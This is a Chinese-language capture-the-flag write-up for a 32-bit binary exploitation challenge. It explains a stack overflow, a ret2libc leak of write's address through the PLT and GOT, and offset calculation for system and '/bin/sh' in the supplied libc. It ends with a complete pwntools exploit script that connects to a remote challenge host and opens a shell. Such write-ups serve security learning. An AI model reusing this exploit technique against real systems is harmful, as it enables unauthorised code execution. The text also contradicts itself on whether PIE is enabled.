查壳,只开了NX,可以去拿shell
看ida,的确找不到system有关的函数,但发现了read的漏洞(read开的大小为100,比buf大),只能去拿附件中的另一个文件下手,这是一个运行库文件通过它来获得两者的地址
使用 pwntools,获得 write 和 system 的相对位置,0x99a80
from pwn import *
elf = ELF('./libc_32.so.6')
print(hex(elf.symbols['system']-elf.symbols['write']))
然后使用ROPgadget获得字符串 "/bin/sh" 相对于 write 的位置,write的位置可以用readelf -s libc_32.so.6|grep write查到,相对位置0x84C6B
ROPgadget --binary libc_32.so.6 --string "/bin/sh"
我们通过 got 来获得 write 的地址,并通过 plt 来调用它,所以针对前面的栈溢出漏洞可以构造,从 p32(1) 开始为 write 的三个参数
payload = b'a'*0x8c+p32(elf.plt['write'])+b'aaaa'+p32(1)+p32(elf.got['write'])+p32(10)
由于开启了 PIE 和 ASLR,库函数每次的地址都会改变,所以上面 b'aaaa' 的部分需要被改为 p32(elf.symbols['main'])进行重定位
通过 u32(p.recv()[:4]) 即可获得 write 的地址,u32 可以看作是 p32 的逆操作,它的参数 p.recv()[:4] ,是取输出的前 4 个 byte,在 32 位程序中,地址只需要 4 个 byte 来表示
构造第二个 payload 为
payload = b'a'*0x8c+p32(write_addr-0x99a80)+b'aaaa'+p32(write_addr+0x84c6b)
exp如下
from pwn import *
p = remote('111.200.241.244', 56394)
elf = ELF('./level3')
payload = b'0'*0x8c+p32(elf.plt['write'])+p32(elf.symbols['main'])+p32(1)+p32(elf.got['write'])+p32(10)
p.recv()
p.sendline(payload)
write_addr = u32(p.recv()[:4])
payload = b'0'*0x8c+p32(write_addr-0x99a80)+b'0000'+p32(write_addr+0x84c6b)
p.sendline(payload)
p.interactive()